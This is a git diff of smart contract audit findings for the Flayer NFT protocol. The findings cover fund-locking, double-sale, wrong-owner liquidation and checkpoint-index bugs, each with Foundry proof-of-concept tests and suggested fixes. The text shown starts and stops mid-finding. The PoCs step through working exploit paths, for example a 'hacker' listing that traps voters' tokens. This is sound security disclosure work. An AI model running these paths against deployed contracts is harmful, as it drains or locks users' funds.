+ uint[] memory path3 = new uint[](1);
+ path3[0] = 10;
+
+
+
+ // Listings Paramenter
+ IListings.Listing memory newListingsBaseParameter = listings.listings(address(erc721a), 10);
+ newListingsBaseParameter.owner = payable(hacker);
+ newListingsBaseParameter.duration = uint32(5 days);
+ newListingsBaseParameter.created = uint40(block.timestamp);
+ newListingsBaseParameter.floorMultiple = 10_00;
+
+
+ // Listings Paramenter
+ IListings.CreateListing memory listingsParams;
+ listingsParams.collection = address(erc721a);
+ listingsParams.tokenIds = path3;
+ listingsParams.listing = newListingsBaseParameter;
+
+ // Listings Paramenter
+ IListings.CreateListing[] memory listingsParamsCorrect = new IListings.CreateListing[](1);
+ listingsParamsCorrect[0] = listingsParams;
+
+
+ // Hacker creates a Listing for the collection erc721a
+ listings.createListings(listingsParamsCorrect);
+ vm.stopPrank();
+
+
+
+
+ // ========== REVERTS STARTS HERE =============
+ //Delete collection is impossible, due to hasListing error.
+ vm.prank(owner);
+ vm.expectRevert();
+ collectionShutdown.execute(address(erc721a), path);
+
+
+ // Reclaim Vote, to get collectionTokens back, it's impossible to call because the quorum is already reached
+ vm.startPrank(user1);
+ vm.expectRevert();
+ collectionShutdown.reclaimVote(address(erc721a));
+
+
+ vm.expectRevert();
+ collectionShutdown.voteAndClaim(address(erc721a));
+
+
+ vm.expectRevert();
+ collectionShutdown.claim(address(erc721a), payable(user1));
+ }
+
+
+
+ function deployAllContracts()internal{
+
+
+ // Deploy Collection Token
+ vm.startPrank(owner);
+
+ _proxyAdmin = new ProxyAdmin();
+
+ bytes memory data = abi.encodeWithSignature("initialize(string,string,uint256)", "TokenName", "TKN", 10);
+
+ _collectionTokenV1Impl = new CollectionToken();
+ _collectionTokenV1Proxy = new TransparentUpgradeableProxy(
+ address(_collectionTokenV1Impl),
+ address(_proxyAdmin),
+ data
+ );
+
+ _collectionTokenV1 = CollectionToken(address(_collectionTokenV1Proxy));
+ assertEq(_collectionTokenV1.name(), "TokenName");
+
+
+ // Deploy LockerManager
+ lockerManager = new LockerManager();
+
+ // Deploy Locker
+ locker = new Locker(address(_collectionTokenV1Impl), address(lockerManager));
+
+ // Deploy Listings
+ listings = new Listings(locker);
+
+ // Deploy ProtectedListings
+ protListings = new ProtectedListings(locker, address(listings));
+
+
+ // Deploy RANGE_CURVE
+ RANGE_CURVE = address(new LinearRangeCurve());
+
+
+ // Deploy TaxCalculator
+ calculator = new TaxCalculator();
+
+
+ // Deploy CollectionShutdown
+ collectionShutdown = new CollectionShutdown(locker, PAIR_FACTORY, RANGE_CURVE);
+
+
+ // Deploy PoolManager
+ poolManager = new PoolManager(500000);
+
+
+ // Deploy WETH
+ WETH = new WETH9();
+
+
+ // Deploy ERC721 Contract
+ erc721a = new ERC721Mock();
+
+
+ // Uniswap Implementation
+ deployCodeTo('UniswapImplementation.sol', abi.encode(address(poolManager), address(locker), address(WETH)), VALID_LOCKER_ADDRESS);
+ uniswapImplementation = UniswapImplementation(VALID_LOCKER_ADDRESS);
+ uniswapImplementation.initialize(locker.owner());
+
+
+ // First settings for the contracts
+ listings.setProtectedListings(address(protListings));
+
+ locker.setListingsContract(payable(address(listings)));
+ locker.setTaxCalculator(address(calculator));
+ locker.setCollectionShutdownContract(payable(address(collectionShutdown)));
+ locker.setImplementation(address(uniswapImplementation));
+
+ lockerManager.setManager(address(listings), true);
+ lockerManager.setManager(address(protListings), true);
+ lockerManager.setManager(address(collectionShutdown), true);
+
+
+ // Mint some tokens ERC721 for user1 and hacker
+ for(uint i = 0; i < 11; i++){
+ erc721a.mint(hacker, i);
+ }
+
+
+ for(uint i = 11; i < 21; i++){
+ erc721a.mint(user2, i);
+ }
+
+
+ // erc721a id 10 For the hacker
+ erc721a.mint(user1, 21);
+
+ vm.stopPrank();
+ }
+}
+
+```
+
+### Mitigation
+
+Do not allow listing a collection that is up for vote
\ No newline at end of file
diff --git a/001/247.md b/001/247.md
new file mode 100644
index 0000000..cf6d68e
--- /dev/null
+++ b/001/247.md
@@ -0,0 +1,151 @@
+Massive Emerald Python
+
+High
+
+# When a protected listing is liquidated, the owner of the newly created listing will be the current owner of the protect listing, not the original owner of the NFT listing
+
+### Summary
+The protocol allows user to reserve NFTs that they can't fully purchase via the [reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) function. The users who reserve the NFT has to pay the difference between the NFT listing price and the floor price, plus an initial collateral, as well as an interest rate which accrues over time. If the user fails to pay his interest rate or unlock his NFT on time, the NFT will be liquidated and a Dutch auction will be created for it. The NFT is liquidated via the [liquidateProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429-L484) function:
+```solidity
+ function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ if (collateral >= 0) revert ListingStillHasCollateral();
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint denomination = collectionToken.denomination();
+
+ // Keeper gets 0.05 as a reward for triggering the liquidation
+ collectionToken.transfer(msg.sender, KEEPER_REWARD * 10 ** denomination);
+
+ // Create a base listing
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+
+ // Load our {ProtectedListing} for subsequent reads
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Create our liquidation {Listing} belonging to the original owner. Since we
+ // have already collected our `KEEPER_REWARD`, we don't need to highlight them
+ // in any way against the new listing.
+ _listings.createLiquidationListing(
+ IListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: listing.owner,
+ created: uint40(block.timestamp),
+ duration: 4 days,
+ floorMultiple: 400
+ })
+ })
+ );
+ ...
+ }
+```
+As can be seen from the above code snippet the owner for the listing will be set as the current owner of the protectedListing, instead of the original owner that created the initial listing for the NFT. We can see from the comments in the function the owner of the listing that will be created in the ``Listings.sol`` contract should be the initial owner of the listing, that a user reserved an NFT from. Thus if a protected listing gets liquidated the owner of the newly created listing in the ``Listings.sol`` contract shouldn't be the owner of the protected listing that is being liquidated. Otherwise the person who gets liquidated will become the owner of the NFT.
+
+### Root Cause
+In the [liquidateProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429-L484) function, the owner of the newly created listing in the ``Listings.sol`` contract will be the owner of the protected listing in the ``ProtectedLisitngs.sol`` contract:
+```solidity
+ _listings.createLiquidationListing(
+ IListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: listing.owner,
+ created: uint40(block.timestamp),
+ duration: 4 days,
+ floorMultiple: 400
+ })
+ })
+ );
+```
+
+### Internal pre-conditions
+1. Alice creates a listing for her NFT
+2. Bob really likes that NFT, but can't afford it right now, so he decides to reserve it via the [reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) function
+3. Bob fails to pay his interest rates and unlock his NFT on time, and thus gets liquidated
+
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+1. Alice creates a listing for her NFT, with a floorMultiplier of **120**, the token denomination for the collection is 1
+2. Bob really likes the NFT, but can buy it at the moment, so he pays Alice the difference between the listing price which is **(1e18 * 120) / 100 = 1.2e18** and the floor price which is **1e18** **1.2e18 - 1e18 = 0.2e18**, plus some collateral lets say **0.3e18**, now Bob has a protected listing for the NFT he reserved and has to pay interest rate until he fully unlocks it.
+3. Some time passes and bob hasn't paid any of the interest he owns, and now he can be liquidated. However when the protectedListing of bob gets liquidated, bob will be the owner of the newly created NFT listing in the ``Listings.sol`` contract. This goes against the logic of liquidations, and the comments in the liquidation function.
+
+### Impact
+When a user reserves and NFT, and he fails to repay the interest rate he owns, and gets liquidated the newly created NFT listing in the ``Listings.sol`` contract will be owned by the user who got liquidated. Thus if the NFT is sold the liquidated user will receive the amount the NFT was sold for. This goes against the logic of liquidations, and the comments in the liquidate function. If the correct owner of the listing that is created after a user is liquidated, should be the initial creator of the listing, in the case a liquidated NFT is sold, the initial creator of the listing will loose funds. (Who the owner of the newly created listing in the ``Listings.sol`` contract should be is a question for a higher power, it definitely shouldn't be the person who just got liquidated. )
+
+### PoC
+[Gist](https://gist.github.com/AtanasDimulski/95fe424bd5c38a08b7d12cc5c3911878)
+
+After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/95fe424bd5c38a08b7d12cc5c3911878), add the following test to the ``AuditorTests.t.sol`` file:
+```solidity
+ function test_LiquidationAssignsNFTToWrongAddress() public {
+ vm.startPrank(alice);
+ collection1.mint(alice, 12);
+ collection1.setApprovalForAll(address(listings), true);
+
+ Listings.Listing memory listingAlice = IListings.Listing({
+ owner: payable(alice),
+ created: uint40(block.timestamp),
+ duration: 10 days,
+ floorMultiple: 200
+ });
+
+ uint256[] memory tokenIdsAlice = new uint256[](1);
+ tokenIdsAlice[0] = 12;
+ IListings.CreateListing[] memory createLisings = new IListings.CreateListing[](1);
+ IListings.CreateListing memory createListing = IListings.CreateListing({
+ collection: address(collection1),
+ tokenIds: tokenIdsAlice,
+ listing: listingAlice
+ });
+ createLisings[0] = createListing;
+ listings.createListings(createLisings);
+ skip(2);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ collection1.mint(bob, 13);
+ collection1.mint(bob, 14);
+ collection1.mint(bob, 15);
+ collection1.setApprovalForAll(address(locker), true);
+ uint256[] memory tokenIdsBob = new uint256[](3);
+ tokenIdsBob[0] = 13;
+ tokenIdsBob[1] = 14;
+ tokenIdsBob[2] = 15;
+ locker.deposit(address(collection1), tokenIdsBob);
+ collectionTokenA.approve(address(listings), type(uint256).max);
+ listings.reserve(address(collection1), 12, 0.3e18);
+ vm.stopPrank();
+
+ vm.startPrank(tom);
+ collection1.mint(tom, 16);
+ collection1.setApprovalForAll(address(locker), true);
+ uint256[] memory tokenIdsTom = new uint256[](1);
+ tokenIdsTom[0] = 16;
+ locker.deposit(address(collection1), tokenIdsTom);
+ collectionTokenA.approve(address(protectedListings), type(uint256).max);
+
+ /// @notice skip 3 years so I can simulate the liquidation easier
+ skip(3 * 31_536_000);
+ protectedListings.liquidateProtectedListing(address(collection1), 12);
+ IListings.Listing memory listingAfterLiquidation = listings.listings(address(collection1), 12);
+
+ /// @notice the owner of the newly created lisitng is bob, the person who reserved the NFT but got liquidated
+ assertEq(bob, address(listingAfterLiquidation.owner));
+ vm.stopPrank();
+ }
+```
+
+
+To run the test use: ``forge test -vvv --mt test_LiquidationAssignsNFTToWrongAddress``
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/251.md b/001/251.md
new file mode 100644
index 0000000..4ae2e51
--- /dev/null
+++ b/001/251.md
@@ -0,0 +1,75 @@
+Overt Stone Rat
+
+High
+
+# Users collection tokens are stuck in `CollectionShutdown` contract if the shutdown is cancelled after they place their vote
+
+## Summary
+During the process of sunsetting a collection in `CollectionShutdown` users can vote for a collection to be shutdown using their collection tokens tied to the collection in question. However if the total supply of the token passes `MAX_SHUTDOWN_TOKENS` before the vote reaches quorum, then anyone is able to call `cancel` which ends the process of sunsetting the collection. When this happens the tokens of the users who voted to sunset the collection will be permanently locked inside the `CollectionShutdown` contract.
+
+## Vulnerability Detail
+When `cancel` is called in `CollectionShutdown` the `collectionParams[_collection]` mapping is deleted. Therefore when a user who had voted to shutdown the collection attempts to call `reclaimVote` their call will revert when trying to deduct `userVotes` from `params.shutdownVotes` with an underflow error as `params.shutdownVotes` will be zero after the mapping has been deleted.
+```solidity
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+--> params.shutdownVotes -= uint96(userVotes);
+```
+
+Add the following test to `CollectionShutdown.t.sol` for evidence of this:
+```solidity
+ function test_Toad_votesStuckAfterCancel() public {
+ // Mint some tokens to our test users
+ address userA = makeAddr("userA");
+ address userB = makeAddr("userB");
+ _distributeCollectionTokens(collectionToken, userA, 1 ether, 1 ether);
+ _distributeCollectionTokens(collectionToken, userB, 1 ether, 1 ether);
+
+ // User A starts collection shutdown and deposits their tokens into the contract
+ vm.startPrank(userA);
+ collectionToken.approve(address(collectionShutdown), 1 ether);
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+ assertEq(collectionToken.balanceOf(userA), 0);
+
+ // Collection Token total supply grows (NFTs deposited into protocol)
+ _distributeCollectionTokens(collectionToken, userB, 3 ether, 3 ether);
+ assert(collectionToken.totalSupply() > 4 ether);
+
+ // Can now cancel the shutdown
+ vm.prank(userB);
+ collectionShutdown.cancel(address(erc721b));
+
+ // Confirm User A balance still 0 & collectionShutdown balance 1 ether
+ assertEq(collectionToken.balanceOf(userA), 0);
+ assertEq(collectionToken.balanceOf(address(collectionShutdown)), 1 ether);
+
+ // User A now has no way to withdraw their tokens, underflow revert will occur in CollectionShutdown::reclaimVote
+ vm.prank(userA);
+ vm.expectRevert();
+ collectionShutdown.reclaimVote(address(erc721b));
+ }
+```
+
+## Impact
+Users who vote to shutdown a collection will permanently lose their collection tokens if the shutdown attempt is cancelled before they call `reclaimVote` as there is no way for them to withdraw their vote after it's cancellation.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L369
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+The protocol should implement functionality for a user to safely withdraw their tokens in the event that the shutdown vote is cancelled before they can withdraw their votes.
\ No newline at end of file
diff --git a/001/252.md b/001/252.md
new file mode 100644
index 0000000..d2d3097
--- /dev/null
+++ b/001/252.md
@@ -0,0 +1,168 @@
+Overt Stone Rat
+
+High
+
+# `_listing` mapping not deleted when calling `Listings::reserve` can lead to a token being sold when it shouldn't be for sale
+
+## Summary
+When the `reserve` function is called in `Listings` a protected listing is created for the selected `_tokenId`, however while doing this the original `_listing` mapping for this token is not deleted in `Listings`. While the protected listing is active this is not a problem because `getListingPrice` will check the protected listing before reaching the old listing. However if the protected listing is removed this old listing will become active again.
+
+This becomes especially problemative given the `ProtectedListings::unlockProtectedListing` function allows the user to not withdraw the token immediately, meaning the token will be in the `Locker` and can now be sold to a third party calling `Listings::fillListings`.
+
+## Vulnerability Detail
+Consider the following steps:
+1. User A lists token via `Listings::createListings`
+2. User B creates a reserve on the token calling `Listings::reserve`
+3. Later when User B is ready to fully pay off the token they call `ProtectedListings::unlockProtectedListing` however they set `_withdraw == false` as they will choose to withdraw the token later.
+4. Now User C will be able to gain the token via the original (still active) listing by calling `Listings::fillListings`
+
+Add the following test to `Listings.t.sol` to highlight this issue:
+```solidity
+ function test_Toad_abuseOldListing() public {
+ // Get user A token
+ address userA = makeAddr("userA");
+ vm.deal(userA, 1 ether);
+ uint256 _tokenId = 1199;
+ erc721a.mint(userA, _tokenId);
+
+ vm.startPrank(userA);
+ erc721a.approve(address(listings), _tokenId);
+
+ Listings.Listing memory listing = IListings.Listing({
+ owner: payable(userA),
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: 120
+ });
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+
+ vm.stopPrank();
+
+ // User B calls Listings::reserve
+ address userB = makeAddr("userB");
+ uint256 startBalance = 10 ether;
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), userB, startBalance);
+
+ vm.warp(block.timestamp + 10);
+ vm.startPrank(userB);
+ token.approve(address(listings), startBalance);
+ token.approve(address(protectedListings), startBalance);
+
+ uint256 listingCountStart = listings.listingCount(address(erc721a));
+ console.log("Listing count start", listingCountStart);
+
+ listings.reserve({
+ _collection: address(erc721a),
+ _tokenId: _tokenId,
+ _collateral: 0.2 ether
+ });
+
+ uint256 listingCountAfterReserve = listings.listingCount(address(erc721a));
+ console.log("Listing count after reserve", listingCountAfterReserve);
+
+ // User B later calls ProtectedListings::unlockProtectedListing with _withdraw == false
+ vm.warp(block.timestamp + 1 days);
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenId, false);
+ vm.stopPrank();
+
+ // Other user now calls Listings::fillListings using User As listing data and gets the token
+ address userC = makeAddr("userC");
+ deal(address(token), userC, startBalance);
+ vm.startPrank(userC);
+ token.approve(address(listings), startBalance);
+
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = _tokenId;
+
+
+ Listings.FillListingsParams memory fillListings = IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ });
+ listings.fillListings(fillListings);
+ vm.stopPrank();
+
+ // Confirm User C is now owner of the token
+ assertEq(erc721a.ownerOf(_tokenId), userC);
+
+ // Confirm User C spent 1.2 collection tokens to buy
+ uint256 endBalanceUserC = token.balanceOf(userC);
+ console.log("User C End Bal", endBalanceUserC);
+
+ // Confirm User B has lost ~1.2 collection tokens
+ uint256 endBalanceUserB = token.balanceOf(userB);
+ console.log("User B End Bal", endBalanceUserB);
+
+ // Confirm User A has been paid difference between listingPrice & floor twice (approx 1.4x floor despite listing a 1.2)
+ uint256 endBalanceUserA = token.balanceOf(userA);
+ uint256 escrowBalUserA = listings.balances(userA, address(token));
+ console.log("User A End Bal", endBalanceUserA);
+ console.log("EscBal User A ", escrowBalUserA);
+
+ // Confirm listing count decremented twice causes underflow
+ uint256 listingCountEnd = listings.listingCount(address(erc721a));
+ console.log("Listing count end", listingCountEnd);
+ }
+```
+
+## Impact
+This series of actions has the following effects on the users involved:
+- User A gets paid the difference between their listing price and floor price twice (during both User B and User C's purchases)
+- User B pays the full price of the token from User A but does not get the NFT
+- User C pays the full price of the token from User A and gets the NFT
+
+Additionally during this process `listingCount[_collection]` gets decremented twice, potentially leading to an underflow as the value is changed in an `unchecked` block. This incorrect internal accounting can later cause issues if `CollectionShutdown` attempts to sunset a collection as it's `hasListings` check when sunsetting a collection will be incorrect, potentially sunsetting a collection while listings are still live.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Just as in `_fillListing` and `cancelListing` functions, when `reserve` is call the existing `_listing` mapping for the specified `_tokenId` should be deleted as so:
+```diff
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // -- Snip --
+
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
++ delete _listings[_collection][_tokenId]
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+ }
+
+ // -- Snip --
+ }
+```
+
+This will ensure that even if the token's new protected listing is removed the stale listing will not be accessible.
+
diff --git a/001/254.md b/001/254.md
new file mode 100644
index 0000000..82b4079
--- /dev/null
+++ b/001/254.md
@@ -0,0 +1,113 @@
+Happy Wintergreen Kookaburra
+
+Medium
+
+# The `reserve` Function does not create a checkpoint when the Listing is shifted to the Protected Listing
+
+## Summary
+According to Flayer, the more there are protected Listing, the more the utilization rate will be, but the reserve function does not update the checkpoint like how the `ProtectedListings.sol` does when sending a listing from a protected listing to an auction listing
+## Vulnerability Detail
+Checkpoints are used to track the state of listings, including protected ones, which directly impact liquidation calculations. By not creating or updating a checkpoint during this transition, the system fails to recognize the change in the number of protected listings. This leads to inaccurate tracking of liquidation risks. The issue is the `reserve` function does not update the Checkpoint when you send it to the protected listing
+
+## Impact
+The rate of how many protected listings there are won't get updated as the more there are protected listings, the more it is easier to get liquidated (High costs), but when you take a listing from reserve to protected listing it does not update the checkpoint, causing the protected listing to use stale rates.
+
+## Code Snippet
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759
+
+
+
+Snippet
+
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+ }
+
+ // Burn the tokens that the user provided as collateral, as we will have it minted
+ // from {ProtectedListings}.
+ collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());
+
+ // We can now pull in the tokens from the Locker
+ locker.withdrawToken(_collection, _tokenId, address(this));
+ IERC721(_collection).approve(address(protectedListings), _tokenId);
+
+ // Create a protected listing, taking only the tokens
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+ IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+ createProtectedListing[0] = IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: uint96(1 ether - _collateral),
+ checkpoint: 0 // Set in the `createListings` call
+ })
+ });
+
+ // Create our listing, receiving the ERC20 into this contract
+ protectedListings.createListings(createProtectedListing);
+
+ // We should now have received the non-collateral assets, which we will burn in
+ // addition to the amount that the user sent us.
+ collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+
+ // We can now transfer ownership of the listing to the user reserving it
+ protectedListings.transferOwnership(_collection, _tokenId, payable(msg.sender));
+ }
+```
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+- Add a Checkpoint at the end of the `reserve` function
+```diff
+ // We should now have received the non-collateral assets, which we will burn in
+ // addition to the amount that the user sent us.
+ collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+
++ // Create our checkpoint as utilisation rates will change
++ protectedListings.createCheckpoint(collection);
+
+ // We can now transfer ownership of the listing to the user reserving it
+ protectedListings.transferOwnership(_collection, _tokenId, payable(msg.sender));
+ }
+```
diff --git a/001/256.md b/001/256.md
new file mode 100644
index 0000000..56ade04
--- /dev/null
+++ b/001/256.md
@@ -0,0 +1,138 @@
+Overt Stone Rat
+
+High
+
+# Mismatch of index and array lengths in `ProtectedListings` checkpoint when actions happen at the same timestamp causes an out of bounds array access revert
+
+## Summary
+If `ProtectedListings::_createCheckpoint` is called twice in the same block the second call will return an `index_` that is outside of the `collectionCheckpoints[_collection]` array.
+
+This leads to two problems:
+- The user is unable to unlock their token until a new value is pushed to `collectionCheckpoints[_collection]` due to attempted out of bounds array access in `unlockPrice`.
+- When the new value is pushed to `collectionCheckpoints[_collection]` the details of the `Checkpoint` will be different to what they should have been when user initially created their listing.
+
+## Vulnerability Detail
+In the `ProtectedListings::_createCheckpoint` function, if this `_collection` has been checkpointed already in this block the previous index in `collectionCheckpoints[_collection]` is altered rather than pushing a new item to the array. However it then returns `index_` despite this index not being valid:
+```solidity
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+ return index_;
+ }
+
+```
+
+This is an issue because in `ProtectedListings::createListings` there is the following line:
+```solidity
+ checkpointIndex = _createCheckpoint(listing.collection);
+```
+Then in `_mapListings` this `checkpointIndex` is set as part of the `_protectedListings` mapping as shown here:
+```solidity
+ _createListing.listing.checkpoint = _checkpointIndex;
+ _protectedListings[_createListing.collection][_createListing.tokenIds[i]] = _createListing.listing;
+```
+
+Now if the user attempts to unlock their token they will run into the follwing issue in `unlockPrice`:
+```solidity
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint], // The function will revert here because listing.checkpoint attempts to access an out of bounds array index
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+```
+
+Add the following test to `ProtectedListings.t.sol` to highlight this:
+```solidity
+ function test_Toad_oobArrayAccess() public {
+ // Get user A token
+ address userA = makeAddr("userA");
+ address userB = makeAddr("userB");
+ uint256 _tokenIdA = 1199;
+ uint256 _tokenIdB = 9911;
+ erc721a.mint(userA, _tokenIdA);
+ erc721a.mint(userB, _tokenIdB);
+
+ vm.startPrank(userA);
+ erc721a.approve(address(listings), _tokenIdA);
+
+ Listings.Listing memory listingA = IListings.Listing({
+ owner: payable(userA),
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: 120
+ });
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenIdA),
+ listing: listingA
+ })
+ });
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + 1 hours);
+
+ // Later on a listing for this collection is created in the same block that a protected listing is created
+ vm.startPrank(userB);
+ erc721a.approve(address(listings), _tokenIdB);
+
+ Listings.Listing memory listingB = IListings.Listing({
+ owner: payable(userB),
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: 120
+ });
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenIdB),
+ listing: listingB
+ })
+ });
+ vm.stopPrank();
+
+ uint256 startBalance = 10 ether;
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), userB, startBalance);
+
+ vm.startPrank(userB);
+ token.approve(address(listings), startBalance);
+ token.approve(address(protectedListings), startBalance);
+
+ uint256 listingCountStart = listings.listingCount(address(erc721a));
+
+ listings.reserve({
+ _collection: address(erc721a),
+ _tokenId: _tokenIdA,
+ _collateral: 0.2 ether
+ });
+
+
+ // User B later tries to unlock his protected listing but failed due to the out of bounds array index
+ vm.warp(block.timestamp + 1 days);
+ vm.exectRevert();
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenIdA, false);
+ vm.stopPrank();
+ }
+```
+## Impact
+This will mean that the user will be unable to unlock their token until a new value is pushed to `collectionCheckpoints[_collection]` as their `listing.checkpoint` will then no longer be out of bounds. However this creates a second issue in that this new checkpoint will have a different `_utilizationRate` and more importantly a later `block.timestamp` meaning the user will have to pay less tax than if they had the correct checkpoint index.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L564
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+When `_createCheckpoint` is called multiple times in a single block the check for this should return `index_ - 1` to ensure a valid array index is returned. An example of this is shown here:
+```diff
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+- return index_;
++ return index_ - 1;
+ }
+```
+
diff --git a/001/261.md b/001/261.md
new file mode 100644
index 0000000..050f921
--- /dev/null
+++ b/001/261.md
@@ -0,0 +1,183 @@
+Striped Boysenberry Fox
+
+High
+
+# The Users who voted for collection shutdown will lose their collection tokens by cancelling the shutdown
+
+## Summary
+
+When a user votes for collection shutdown, the `CollectionShutdown` contract gathers the whole balance from the user. However, when cancelling the shutdown process, the contract doesn't refund the user's votes.
+
+## Vulnerability Detail
+
+The [`CollectionShutdown::_vote()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L191-L214) function gathers the whole balance of the collection token from a voter.
+
+```solidity
+ function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+
+ // Pull our tokens in from the user
